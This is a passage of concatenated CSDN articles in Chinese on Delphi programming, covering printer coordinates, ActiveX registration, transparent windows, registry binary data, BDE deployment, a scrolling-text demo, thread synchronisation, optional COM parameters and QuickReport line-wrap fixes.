pDDIx:=GetDeviceCaps(Printer.Handle,logPixelsX);

pDDIy:=GetDeviceCaps(Printer.Handle,logPixelsY);

QueryPrintlogPixel:=False;

end;

Result:=Trunc(InputX/253.8*pDDIx+0.5);

end;

Function TPrtTest3.MMtoPrintPixelY(InputY:Integer):Integer;

Begin

if QueryPrintlogPixel then

Begin

pDDIx:=GetDeviceCaps(Printer.Handle,logPixelsX);

pDDIy:=GetDeviceCaps(Printer.Handle,logPixelsY);

QueryPrintlogPixel:=False;

end;

Result:=Trunc(InputY/253.8*pDDIy+0.5);

end;

GetDeviceCaps：为Windows系统中取得指定设备信息的函数。函数的原型如下

int GetDeviceCaps(

HDC hdc, // 设置的句柄

int nIndex // 查询的设备参数。

);

其中，HDC为想要查询的打印机的句柄，logPixelsX、logPixelsY表示要查询的内容是打印机横向、纵向的每英寸的像素点数。

六、组件的注册

    如果是在Delphi编写了这个组件的，则可以选择Run菜单下的Register ActiveX Server来进行这个组件的注册。

    对于不开发机器的注册则可使用：点击“开始”→“运行”；在运行对话框中输入以下命令：

    regsvr32 < 文件名 > 注册一个ActiveX控件

    regsvr32 /u < 文件名 > 解除某ActiveX控件的注册

七、其它应用

    组件的扩展:以上列出的仅仅是编写这个组件的框架，功能比较有限。根据需要我们还可以添加上画圆、椭圆，矩形，甚至图片等功能。有兴趣的读者就请自行添加。

因为，组件是采用ＣＯＭ的方式运行，所以，我们还在Window　Script Hosts(WSH)中应用这个组件，结合WSH原有(通过ADO对象)访问外部数据库的能力，就可能做出在WINDOWS下功能强大的WSH的脚本程序。

源程序请到程序员杂志频道下载.


CSDN_文档中心_关于Windows2000透明窗体的制作（重发）

哎，刚才洋洋傻傻写了200多字，竟然提交失败？！让人几近晕倒，只好重写了。嗯，现在开始..

透明窗体不知注意到没有？看过的是不是觉得很cool?我是这样认为的，所以第一次在一个叫SourceInsight的软件中看到后，就在到处找他是如何做的。后来发现是通过一种图形运算得到的，就是程序的界面和其底图进行一定的运算，如alpha运算，就可以得到透明的效果。但写起来好烦啊。昨天无意见到已很好用的API函数，专门做透明的,很好用，便写出来，大家看看.

先写个例子，Delphi的，这个目前最熟了。

procedure DoTrans();

var

l: LongInt;

begin

l := GetWindowLong(Handle, GWL_EXSTYLE);

l := l or WS_EX_LAYERED;

SetWindowLong(Handle, GWL_EXSTYLE, l);

SetLayeredWindowAttributes(Handle, 0, 125, LWA_ALPHA);

end;

你可以先试试，应该很好用的，关键就是API函数SetLayeredWindowAttributes(),这个是Windows2000才有的一个API，所以也只能在2000下运行，Win2000的淡进淡出效果可能就是用的这个函数。

Delphi6已经封装了这个API，Delphi5的话，就要自己进行函数声明了，

function SetLayeredWindowAttributes(hwnd:HWND; crKey:Longint; bAlpha:byte; dwFlags:longint ):longint; stdcall; external ‘user32.dll';

现在从MSDN里把它的定义考出来，分析一下。

BOOL SetLayeredWindowAttributes(
  HWND hwnd,           // handle to the layered window
  COLORREF crKey,      // specifies the color key
  BYTE bAlpha,         // value for the blend function
  DWORD dwFlags        // action
);
第一个参数：hwnd是指向要操作的窗口的句柄，没什么要说的，基本API都需要的.
第二个参数：crKey是指定要透明的颜色的颜色值，这个参数和第四个参数在制定
为LWA_COLORKEY时才有用，在LWA_ALPHA参数下，一般用0；当指定要透明的颜色值时，
窗口中的制定颜色就会变得‘镂空’！
第三个参数: bAlpha是透明运算的一个参数，简单地说就是透明度，0最透明，就看不到了，
255不透明，和平常的效果一样了。
第四个参数：dwFlags由两个值LWA_COLORKEY和LWA_ALPHA,用于决定用何种方式进行透明处理。
一般用LWA_ALPHA值就可以了.
好了，就这么多了，MSDN里有详细的介绍。
codejie. 2001/08/31


CSDN_文档中心_关于读写注册表二进制数据的问题

关于读写注册表二进制数据的问题

在Delphi的帮助文件中得到了关于注册表二进制数据的读写函数声明,但是帮助文件中并没有给出例子.现在我给出例程.

1.读取二进制数据
function ReadBinaryData(const Name: String; var Buffer; BufSize: Integer): Integer;
从当前键值返回一个二进制数据.如果成功则返回所需数据,所需数据保存在buffer中,而返回的integer值表示返回数据的大小(byte).

2.存储二进制数据
procedure WriteBinaryData(const Name: String; var Buffer; BufSize: Integer);
存储一个二进制数据到指定的键值.

例程:
procedure TForm1.Button1Click(Sender: TObject);
var
reg:TRegistry; {声明Regstry对象}
typ:TRegDataType; {注册表数据类型.常用的有字符串类型(rdString)、数值类型(rdInteger)、二进制类型(rdBinary)}
str:string; {用于显示操作信息}
i:integer; {注册表的数据大小,以字节为单位}
vv:integer; {注册表的数据内容}
begin
reg:=TRegistry.Create; {创建注册表对象}
reg.RootKey :=HKEY_LOCAL_MACHINE; {设置根键}
reg.OpenKey ('MYSOFT',TRUE); {打开主键}
typ:=reg.GetDataType('ccc'); {得到所需数据的类型}
i:=reg.GetDataSize('ccc'); {得到所需数据的大小}
case typ of {根据数据类型显示提示信息}
rdstring:
str:='This is String Type';
rdInteger:
str:='This is Integer Type';
rdBinary:
str:='This is Binary Type';
else
str:='This is Unknown Type';
end;
memo1.Lines.Add(str);
memo1.lines.Add(inttostr(i)); {提示信息结束}
reg.ReadBinaryData('ccc',vv,i); {读取数据的内容,函数返回数据内容的大小[本例中未写出返回值]}
memo1.Lines.add(inttostr(vv));
vv:=1; {设定数据内容vv=1}
reg.WriteBinaryData('ccc',vv,i); {把数据内容写入注册表中}
reg.CloseKey; {关闭主键}
reg.Free; {释放注册表对象}
end;


CSDN_文档中心_关于精简BDE的一点疑问----我的几封信

在网上看见了不少关于精简BDE的文章，动手做了做，发现不成。心中不禁有了疑问，发信给其他人问问，结果delphi的现版主向我推荐了一个人，说是做安装程序的高手，下面我把信的内容向大家公开，希望高手们能参与讨论，让咱这些菜鸟也明白一下：

我的信：

呵呵，要不是你来我帖子上挂了个号，还真不知道是你哩，久仰大名，伪程序员 ，原来在其他的帖子上就见到过，你和老麻一公司的吧？现在网上有一些关于什么精简bde的文章，根据我的个人看法，就是又一群用软盘升BIOS的高手！他们都说只要在注册 表中指明bde的所在路径就可以了，据我菜鸟分析，还少了一个重要的IDAPI.CFG，如果没这文件，系统一样找不到程序的数据库文件放在哪了？还是会出现别名错误的信息。平时我们创建一个新别名，都会提示是否要把信息保存入IDAPI.CFG中，可见此文件是相当重要的，BDE驱动是从此文件中得知数据库的相关信息如路径等。伪同学你是高手，你觉得是不是的，请指教，如果是的，我非上网扒下这些高手的皮不可，专害菜鸟的家伙们。还有一篇文章说只要把BDE驱动文件复到程 序目录下就可以正常运行，真不知是怎么一回事，这些文章到处都有转载，如果
不真，害人不少。

回信：

早上来瞎忙一阵，刚看到邮件，不好意思您对我这么信任！我和麻程序员确实在一个公司，不过我的确不是程序员，呵呵，人如其名。 好了，废话不多说，其实我对BDE的认识也比较肤浅，但是BDE从我来看的确是一个比 较精密的数据库引擎，很多程序需要共享它，这就是安装和写在带有BDE程序的难点，想必你也听说过装了国产某程序，系统的其他程序就不能用BDE了，为什么呢？因为borland公司设计BDE引擎时已经考虑过 多个程序同时使用BDE的问题，所以BDE文件具有自己的文件完整性和一套完整的注册表键值设置，所有使用BDE的应用程序必须遵循这些规定才能正常使用BDE，在注册表中显示的路径是当前系统的BDE路径和其他设置信息，其中关键有几个值：HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine下的UseCount指明了当前系统使用BDE的应用程序数量，也就是说borland希望在安装BDE程序时，你要给该值+1，卸载时要给该值-1，当这个 值为零时，说明系统中已经不再有程序使用BDE，如果恰好是用installshield卸载时，系统会提示BDE文件已不再被任何程序使用，可以安全卸载。

上面说的是正常的情况，那么看看我们的程序员都会做些什么呢？要么直接装BDE支持文件，自己通过什么手段网那里一指，能用拉倒，要么自己独创一套键值等，这还不可怕，可怕的是有些程序员（麻程的前任）竟然发现了我说的上述键值，但是因为不会验证BDE文件的完整性和添加别名设置，以及UseCount计数，居然在安装时强行将BDE文件复制到一个隐蔽的地方，然后将路径指到哪里，并且在程序运行是动态设置别名！靠！可想而知其他用BDE的程序会死成什么样？说到这里，想必你也该明白了，游戏是有规则的，遵守规则，错不了的。直接指路径肯定不行，所谓BDE完整性我估计是指SQL什么的支持吧。
另外提醒你，IDAPI.CFG和IDAPI32.CFG文件是不能随便改写的，也是通过一些手段，否则别名是不能设置成功的。我早期做BDEruntime支持的时候用的installshield的BDE3.51模板，其机制相当严密，但还是会出现在98下修改别名报错，2000和ME都没问题，所以后来，我开始尝试用installshield 6.22（已经将BDE5.11的运行支持嵌入，）和wise 8.x，效果比较好。
好了，说了这么多，也说不太清，毕竟我对Delphi编程和BDE很不了解，随信附上BDE4.51forinstallshield的白皮书（自己翻译了一点，很蠢），你看一下也许会有更深的了解。


CSDN_文档中心_关于拉幕程序的讨论和源码

程序把一个文本文件在屏幕上缓慢输出,完全输出后再从头循环输出

修改后可以使用的程序源代码（还是不完善：还不能实现从一侧飞入的效果，容易出错）：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, ComCtrls, ColorGrd, RxCombos;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
OpenDialog1: TOpenDialog;
Button2: TButton;
Button3: TButton;
TrackBar1: TTrackBar;
Panel1: TPanel;
Panel2: TPanel;
Panel3: TPanel;
Label1: TLabel;
Label2: TLabel;
Timer1: TTimer;
Button4: TButton;
ColorDialog1: TColorDialog;
FontDialog1: TFontDialog;
Button6: TButton;
Button7: TButton;
ComboBox1: TComboBox;
Panel4: TPanel;
Edit2: TEdit;
Edit3: TEdit;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Edit4: TEdit;
Edit5: TEdit;
Button8: TButton;
Button5: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
private
procedure zShowText;
Procedure zBmpCreate;
procedure zSetBmp;
procedure zSetLineHeight;
procedure zShowLine(sender :TObject);
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
const
bWidth=200;
var
currline, LineHeight:integer;
sItem:TStringList;
bmp:TBitMap;
bRect,R1:TRect;
iDc:HDC;

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Execute;
Edit1.Text:=OpenDialog1.FileName;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.WindowState:=wsMaximized;
Panel1.Top:=80;
Panel1.Left:=96;
Panel1.Height:=385;
Panel1.Width:=433;
Timer1.Enabled:=False;
Label2.Caption:='100';
iDC:=GetDc(Panel1.handle);
Currline:=0;
end;

procedure TForm1.zShowLine(sender :TObject);
begin
zShowText;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
zShowLine(self);//显示字符串
//bitblt 转移矩形图 (目标句柄，LS x,y,宽，高，源句柄，LS x,y,光栅运算符）
BitBlt(iDc,0,0,Panel1.Width,Panel1.Height,
Bmp.Canvas.Handle,0,Currline,srcCopy);
Inc(Currline,1);
if Currline>=bRect.Bottom-panel1.Height+100 then//循环条件？
begin
Timer1.Enabled:=False;
Currline:=0;
end;
end;

procedure TForm1.zShowText;
var
i:integer;
ss:string;
ReadFile:TextFile;
begin
AssignFile(ReadFile,Edit1.Text);
Reset(ReadFile);
i:=1;
sItem:=TStringList.Create;
with sItem do
while not eof(ReadFile) do
begin
Readln(ReadFile,ss);
add(ss);
i:=i+1;
end;
CloseFile(ReadFile);
zBmpCreate;
sItem.Free;//释放串
end;

procedure TForm1.zBmpCreate; //创建图片
var
i,y:integer; //y
begin
if bmp<>nil then bmp.free;
bmp:=TBitMap.Create;
zSetBmp;
R1.Right:=bRect.Right;
R1.Bottom:=bRect.Bottom;
y:=Panel1.Height-100;
for i:=0 to sItem.Count-1 do // 从0到行数 循环显示图片
begin
R1.Top:=y;
R1.Bottom:=R1.Top+LineHeight;
if Combobox1.Text='中间对齐' then //显示图片
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Center or Dt_Top)
else
if Combobox1.Text='左对齐' then
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Left or Dt_Top)
else
if Combobox1.Text='右对齐'then
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Right or Dt_Top)
else
DrawText(Bmp.Canvas.Handle,pChar(sItem[i]),-1,R1,Dt_Center or Dt_Top);
Inc(y,LineHeight);
end;
end;

procedure TForm1.zSetBmp;
begin
zSetLineHeight;
with bRect do //Rect 矩形坐标(左上x,左下y,右上x,右下y)
begin
Top:=0;
Left:=0;
Right:=Panel1.Width;
Bottom:=LineHeight*sItem.Count+Height;//行高*行数+form高度
end;
with Bmp do
begin
Height:=bRect.Bottom+100;//图片高度
Width:=bRect.Right;
with Canvas do //canvas 画布
begin
Font:=FontDialog1.Font;
//Font:=self.Font;//form所设置的字体
Brush.Color:=ColorDialog1.Color;
FillRect(bRect);
Brush.Style:=bsClear;
end;
end;
end;

procedure TForm1.zSetLineHeight;
{设置行间隔}
var
Metrics:TTextMetric; //设置字体 API
begin
GetTextMetrics(iDc,Metrics);
LineHeight:=Metrics.tmHeight+Metrics.tmInternalLeading-Bmp.Canvas.Font.Height;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if Edit1.Text='' then ShowMessage('请输入文件地址')
else
begin
if Button2.Caption='开始' then Button2.Caption:='暂停'
else Button2.Caption:='开始';
Timer1.Enabled:=not Timer1.Enabled;
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
timer1.Enabled :=false;
Currline:=0;
Button2.Click;
Button2.Caption:='暂停';
end;

procedure TForm1.TrackBar1Change(Sender: TObject);
begin
Timer1.Interval:=TrackBar1.Position*5;
Label2.Caption:=inttostr(Timer1.Interval);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
if Bmp<>nil then Bmp.Free;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
close;
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
FontDialog1.Execute;
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
ColorDialog1.Execute;
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
if ((strtoint(Edit2.Text)>=600) or (strtoint(Edit3.text)>=500) or ((strtoint(Edit5.Text)>=553) or (strtoint(Edit4.Text)>=630)))
then showmessage('范围超界')
else
begin
Panel1.Top:=strtoint(Edit2.text);
Panel1.Left:=strtoint(Edit3.text);
Panel1.Width:=strtoint(Edit4.text);
Panel1.Height:=strtoint(Edit5.text);
end;

end;

procedure TForm1.Button5Click(Sender: TObject);
begin
Panel1.Top:=0;
Panel1.Left:=0;
Panel1.Width:=Panel3.Width;
Panel1.Height:=Panel3.Height;
end;

end.

详细讨论在：http://www.csdn.net/expert/topic/97/97371.shtm


CSDN_文档中心_关于线程同步的一些方法

线程是进程内一个相对独立的、可调度的执行单元。一个应用可以有一个主线程，一个主线程可以有多个子线程，子线程还可以有自己的子线程，这样就构成了多线程应用了。由于多个线程往往会同时访问同一块内存区域，频繁的访问这块区域，将会增加产生线程冲突的概率。一旦产生了冲突，将会造成不可预料的结果（该公用区域的值是不可预料的）可见处理线程同步的必要性。

注意：本文中出现的所有代码都是用DELPHI描述的，调试环境为Windows me ，Delphi 6。其中所涉及的Windows API函数可以从MSDN获得详细的文档。

首先引用一个实例来引出我们以下的讨论，该实例没有采取任何措施来避免线程冲突，它的主要过程为：由主线程启动两个线程对letters这个全局变量进行频繁的读写，然后分别把修改的结果显示到ListBox中。由于没有同步这两个线程，使得线程在修改letters时产生了不可预料的结果。大家可以看看它运行的结果，如图：

ListBox中的每一行的字母都应该一致，但是上图画线处则不同，这就是线程冲突产生的结果。当两个线程同时访问该共享内存时，一个线程还未对该内存修改完，另一个线程又对该内存进行了修改，由于写值的过程没有被串行化，这样就产生了无效的结果。可见线程同步的重要性。

以下是本例的代码

unit.pas文件

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

//定义窗口类

type

TForm1 = class(TForm)

ListBox1: TListBox;

ListBox2: TListBox;

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

//定义线程类

type

TListThread=class(TThread)

private

Str:String;

protected

procedure AddToList;//将Str加入ListBox组件

Procedure Execute;override;

public

LBox:TListBox;

end;

//定义变量

var

Form1: TForm1;

Letters:String='AAAAAAAAAAAAAAAAAAAA';//全局变量

implementation

{$R *.dfm}

//线程类实现部分

procedure TListThread.Execute;

var

I,J,K:Integer;

begin

for i:=0 to 50 do

begin

for J:=1 to 20 do

for K:=1 to 1000 do//循环1000次增加产生冲突的几率

if letters[j]<'Z' then

letters[j]:=succ(Letters[j])

else

letters[j]:='A';

str:=letters;

synchronize(addtolist);//同步访问VCL可视组件

end;

end;

procedure TListThread.AddToList;

begin

LBox.Items.Add(str);//将str加入列表框

end;

//窗口类实现部分

procedure TForm1.Button1Click(Sender: TObject);

var

th1,th2:TListThread;

begin

Listbox1.Clear;

Listbox2.Clear;

th1:=tlistThread.Create(true);//创建线程1

th2:=tlistThread.Create(true);//创建线程2

th1.LBox:=listBox1;

th2.LBox:=listBox2;

th1.Resume;//开始执行

th2.Resume;

end;

end.

由上例可见，当多个线程同时修改一个公用变量时，会产生冲突，所以我们要设法防止它，这样我们开发的多线程应用才能够稳定地运行。下面我们来改进它。我们先使用临界段来串行化，实现同步。在上例unit1.pas代码的uses段中加入SyncObjs单元，加入全局临界段变量（TRTLCriticalSection）Critical1，在FormCreate事件中加入InitializeCriticalSection(Critical1)这句代码，在FormDestroy事件中加入DeleteCriticalSection(Critical1)这句代码，然后修改TListThread.Execute函数，修改后的代码似如下所示（►处为增加的代码）：

procedure TListThread.Execute;

var

I,J,K:Integer;

begin

for i:=0 to 50 do

begin

►EnterCriticalSection(Critical1);//进入临界段

for J:=1 to 20 do

for K:=1 to 3000 do

if letters[j]<'Z' then

letters[j]:=succ(Letters[j])

else

letters[j]:='A';

str:=letters;

►LeaveCriticalSection(Critical1);//退出临界段

synchronize(addtolist);

end;

end;

好了，重新编译，运行结果如下图所示：

程序成功的避免了冲突，看来真的很简单，我们成功了！当然我们还可以使用其它同步技术如Mutex（互斥对象）, Semaphore（信号量）等，这些技术都是Windows通过API直接提供给我们的。

下面总结一下Windows常用的几种线程同步技术。

1. Critical Sections（临界段），源代码中如果有不能由两个或两个以上线程同时执行的部分，可以用临界段来使这部分的代码执行串行化。它只能在一个独立的进程或一个独立的应用程序中使用。使用方法如下：
//在窗体创建中
InitializeCriticalSection(Critical1)
//在窗体销毁中
DeleteCriticalSection(Critical1)
//在线程中
EnterCriticalSection(Critical1)
……保护的代码
LeaveCriticalSection(Critical1)

2. Mutex（互斥对象），是用于串行化访问资源的全局对象。我们首先设置互斥对象，然后访问资源，最后释放互斥对象。在设置互斥对象时，如果另一个线程（或进程）试图设置相同的互斥对象，该线程将会停下来，直到前一个线程（或进程）释放该互斥对象为止。注意它可以由不同应用程序共享。使用方法如下：
//在窗体创建中
hMutex:=CreateMutex(nil,false,nil)
//在窗体销毁中
CloseHandle(hMutex)
//在线程中
WaitForSingleObject(hMutex,INFINITE)
……保护的代码
ReleaseMutex(hMutex)

3. Semaphore（信号量），它与互斥对象相似，但它可以计数。例如可以允许一个给定资源同时同时被三个线程访问。其实Mutex就是最大计数为一的Semaphore。使用方法如下：
//在窗体创建中
hSemaphore:= CreateSemaphore(nil,lInitialCount,lMaximumCount,lpName)
//在窗体销毁中
CloseHandle(hSemaphore)
//在线程中
WaitForSingleObject(hSemaphore,INFINITE)
……保护的代码
ReleaseSemaphore(hSemaphore, lReleaseCount, lpPreviousCount)

4. 还可以使用Delphi中的TcriticalSection这个VCL对象，它的定义在Syncobjs.pas中。

当你开发多线程应用时，并且多个线程同时访问一个共享资源或数据时，你需要考虑线程同步的问题了。

如果你想获得本文的电子版及其源代码，那么请到http://codehunter.1yes.net 网站上下载.

2001年9月5日星期三


CSDN_文档中心_关于在COM中使用可选参数的研究

关于在COM中使用可选参数的研究

作者：wangzhidong(Steven Bob)

创作日期：2002-3-27

在Delphi6中设计COM组件方法时，在 Parameter flags dialog 中，选择Optional选项，即输入参数为可选，现就给出如何实现可选参数实例。

监测函数

function VarIsEmptyParam(const V: Variant): Boolean;

begin

  Result := (TVarData(V).VType = varError) and

            (TVarData(V).VError = $80020004); {DISP_E_PARAMNOTFOUND}

end;

实例

uses ComServ, Variants, Dialogs, SysUtils;

procedure TOptionalParamsDemo.GetParams(const Param1: WideString; Param2,Param3: OleVariant; Param4: Integer);

var

  s2, s3: WideString;

begin

  if VarIsEmptyParam(Param2) then

    s2 := ' empty '

  else

    S2 := ' not empty ';

  if VarIsEmptyParam(Param3) then

    s3 := ' empty '

  else

    S3 := ' not empty ';

  ShowMessage(Format('Param1[%s] Param2[%s] Param3[%s] Param4[%d]',[Param1, s2, s3, Param4]));

end;

procedure TForm1.Button1Click(Sender: TObject);

var

  V: Variant;

begin

  V := IDispatch(CoOptionalParamsDemo.Create());

  V.GetParams('123');

end;

procedure TForm1.Button2Click(Sender: TObject);

var

  AIntf: IOptionalParamsDemo;

  V: Variant;

begin

  AIntf := CoOptionalParamsDemo.Create();

 // AIntf.GetParams('', EmptyParam, 9, 4);

  V := IDispatch(AIntf);

 // V.GetParams('123', '123', '123', '123');

  V.GetParams();

end;

procedure TForm1.Button3Click(Sender: TObject);

var

  AIntf: IOptionalParamsDemo;

  V: Variant;

begin

  AIntf := CoOptionalParamsDemo.Create();

 // AIntf.GetParams('', EmptyParam, 9, 4);

  V := IDispatch(AIntf);

  V.GetParams('123', '123');

 // V.GetParams();

end;

procedure TForm1.Button4Click(Sender: TObject);

var

  V: Variant;

begin

  V := IDispatch(CoOptionalParamsDemo.Create());

  V.GetParams('123', '123', 123);

end;

procedure TForm1.Button5Click(Sender: TObject);

var

  V: Variant;

begin

  V := IDispatch(CoOptionalParamsDemo.Create());

  V.GetParams('123', 123, 123, 6);

end;

实例下载：  http://www.megspace.com/computers/coreware/


CSDN_文档中心_关于中文折行及相关问题的解决方法 (taogou)

打印中一些问题的解决方法 (taogou)
以下quickrpt版本都为3.6

关于自动折行
需求：将超过长度的文本自动折行
解决方法：根据DELPHI的判断函数来控制超过长度文本的取舍，其实它本身有判断并截取中文字符的功能，
但是只取了第一行，所以就没有折行的效果。
源码：文件 QRCtrls;函数 FormatLines;子函数AddWord

procedure AddWord(aWord : string);
{$ifdef ver100}
var
S: string;
{$endif}
begin
while aLineWidth(NewLine + aWord) > Width do //字符长度超过指定长度
begin
if NewLine = '' then
begin
{$ifdef ver100} //版本控制 似乎只分了{$ifdef VER36} 和这个。
if SysLocale.FarEast then
begin
while true do
begin
if (aWord[1] in LeadBytes) and (Length(aWord) > 1) then
S := copy(aWord, 1, 2)
else
S := copy(aWord, 1, 1);

if aLineWidth(NewLine + S) < Width then
begin
NewLine := NewLine + S;
Delete(aWord, 1, Length(S));
end
else
Break;
end;
end
else
while aLineWidth(NewLine + copy(aWord, 1, 1)) < Width do
begin
NewLine := NewLine + copy(aWord, 1, 1);
Delete(aWord, 1, 1);
end;
{$else}
while aLineWidth(NewLine + copy(aWord, 1, 1)) <= Width do
begin
if ByteType(aWord, Length(aWord)) = mbTrailByte then //如果是是双字节字符，则截两位
//如果截的是双字节字符而长度恰好又超过了指定长度，
//系统默认将指定长度扩展一位。如果不愿意，当然这里也可以自己再加入控制
begin
NewLine:=NewLine +copy(aWord,1,2);
Delete(aWord, 1, 2);
end else
begin
NewLine := NewLine + copy(aWord, 1, 1);
Delete(aWord, 1, 1);
end;
end;
{$endif}
//taogou aWord := ''; //该句的赋值就将导致不能换行
end;
FlushLine; //将截取的指定长度的字符加入到字符串列表中
{ if aLineWidth(aWord) > Width then
begin
if NewLine = '' then
begin
if Width = 0 then
aWord := ''
else
while aLineWidth(aWord) > Width do
{$ifdef ver100}
{ if ByteType(aWord, Length(aWord)) = mbTrailByte then
Delete(aWord, Length(aWord)-1, 2)
else}
//{$endif}
{ begin
Delete(aWord, Length(aWord), 1);
end;
end;
NewLine := aWord;
FlushLine;
aWord := '';
end;}
if not WordWrap then
begin
aWord := '';
LineFinished := true;
end;
end;
NewLine := NewLine + aWord;
end;

关于自动折行所引起的页行数可变控制

需求：文本折行后，是已设格式的行高自动变化，行数不容易控制，预览效果不堪入目。
解决方法：不允许已设行高自动变化，根据detail行高取舍文本的行数。例：不折行的情况下打印5行的固定
格式，会因为折行而打不了5行，程序自动将行高增大，在套打的情况下，情况非常糟糕。所以强制固定行高，
如果折行超过了固定高度，则超出部分不打印。

源码：文件 QRCtrls;主函数 PrintToCanvas；子函数CanPrint

找到下面着一行
TQRCustomBand(Parent).ExpandBand(LineHeight, AFExpanded, HasExpanded);
该行是根据你的CAPTION的行数来增加行数的，所以屏蔽掉
在主函数中找到下面这一行
ControlBottom := aTop + aHeight +1;
修改为
ControlBottom := aTop + TQRCustomBand(Parent).size.Length +1;
TQRCustomBand(Parent).size.Length 是当前DETAIL的行高

然后找到下面这个循环
while (FCurrentLine <= FFormattedLines.Count - 1) and CanPrint do
if (FCurrentLine <= FFormattedLines.Count - 1) and CanPrint then
begin
PrintLine(FCurrentLine);
inc(FCurrentLine);
end;
修改为
while (FCurrentLine <= FFormattedLines.Count - 1) and CanPrint do //taogou
if (FCurrentLine <= FFormattedLines.Count - 1) and CanPrint then
begin
if Y + LineHeight < ControlBottom then //taogou Y为当前开始打印的位置，lineHeight为字符行高
PrintLine(FCurrentLine); //controlbottom为detail的下限位置，仅当位置小于允许的位置才打印
inc(FCurrentLine);
end;
FCurrentLine:=FFormattedLines.Count; //不管打了几行，都将当前行表示为该caption已经打印完毕

需求：控制多余行数，例：页打印行数为5行，当前打印记录数为12，带格式不套打，
则在最后页只有2行数据，从第3行到页脚为一片空白。这里需要将最后一页上3行打印上无数据的空格式.
解决方法：循环N次detail行的打印方法，并屏蔽掉记录

源码：文件 QuickRpt;主函数 TQRController.Execute

HasPrintedLines:=0; //新增本函数局部变量 记录已经打印的行数
while MoreData do
begin
inc(HasPrintedLines); //增1
Application.ProcessMessages;
if ParentReport.QRPrinter.Cancelled then
Exit;
if ParentReport.PreparingDesignTime and (ParentReport.FPageCount > 1) then Exit;
inc(FDetailNumber);
PrintGroupHeaders;
PrintBeforeControllers;
ParentReport.PrintBand(FDetail);
PrintAfterControllers;
if DSOK then
begin
DataSet.Next;
MoreData := not FDataSet.Eof;
if (FDataSet.Eof) then //Add begin
begin
if FDetail<>nil then //将detail中的TQRDBText and TQRLabel 全部不打
for j:=0 to FDetail.ControlCount-1 do
begin
if FDetail.Controls[j] is TQRDBText then
TQRDBText(FDetail.Controls[j]).Enabled:=False;
if FDetail.Controls[j] is TQRLabel then
TQRLabel(FDetail.Controls[j]).Caption:='';
end;
for j:=1 to FPageMaxLines*ParentReport.PageNumber-HasPrintedLines do
// FPageMaxLines 页最大打印行数，外部传进来的变量
//ParentReport.PageNumber 总共打印的页数，因为只对最后一页进行控制，
//所以当前的打印页数已经确定，可以直接取
begin
Application.ProcessMessages; //begin 1
if ParentReport.QRPrinter.Cancelled then Exit;
PrintGroupHeaders;
PrintBeforeControllers;
if assigned(FDetail) then FDetail.MakeSpace;
NotifyClients(qrMasterDataAdvance);
ParentReport.PrintBand(FDetail);
PrintAfterControllers; //end 1
//从begin 1到这里的函数是直接COPY自2.0版本上的打印(此处应该有更加好的解决方法，
//偶只是懒了一下，:) ) 其实这段用在2.0中也是没有问题DI
end; //Add end
end

end else
begin
MoreData := false;
if assigned(FOnNeedDataEvent) and not (csDesigning in ComponentState) then
OnNeedData(SelfCheck, MoreData);
end;
if CheckGroups then
begin
if DSOK then
DataSet.Prior;
PrintGroupFooters;
if DSOK then
DataSet.Next;
end;
if ParentReport is TQuickRep and
DSOK and (TQuickRep(ParentReport).DataSet = DataSet) and (RecCount <> 0) then
ParentReport.QRPrinter.Progress := (Longint(DetailNumber) * 100) div RecCount;
end;

注：第一次写这样的东东和大家共享，感觉有点力不从心。原因？太明显了，1、不知道格式该怎么定义
2、不知道怎么写注解 3、我的文笔又很懒 4、不知道MM是否在想我呢？？？:)

OK，本次东东就东到这里，同志们，好东西拿出来共享吧


CSDN_文档中心_号外：Delphi6 新特性 ！！！！

Delphi6 New Features

What’s new

Delphi 6 introduces new features and enhancements in the following areas:

IDE
 Internet

VCL

RTL

Compiler

Com/Active X

Note Some features may not be available in all versions of Delphi.

<It is too long to add here! >

CSDN相关链接：

 Borland准备Delphi 6.0发布
Delphi .NET?


CSDN_文档中心_号外：Delphi6新特性！

Delphi6 New Features

What’s new

Delphi 6 introduces new features and enhancements in the following areas:

IDE
 Internet

VCL

RTL

Compiler

Com/Active X

Note Some features may not be available in all versions of Delphi.

<文章较长，引起系统错误，请到下面的台阶上去：>

Delphi6 New Features


CSDN_文档中心_换肤手术

activeskin :

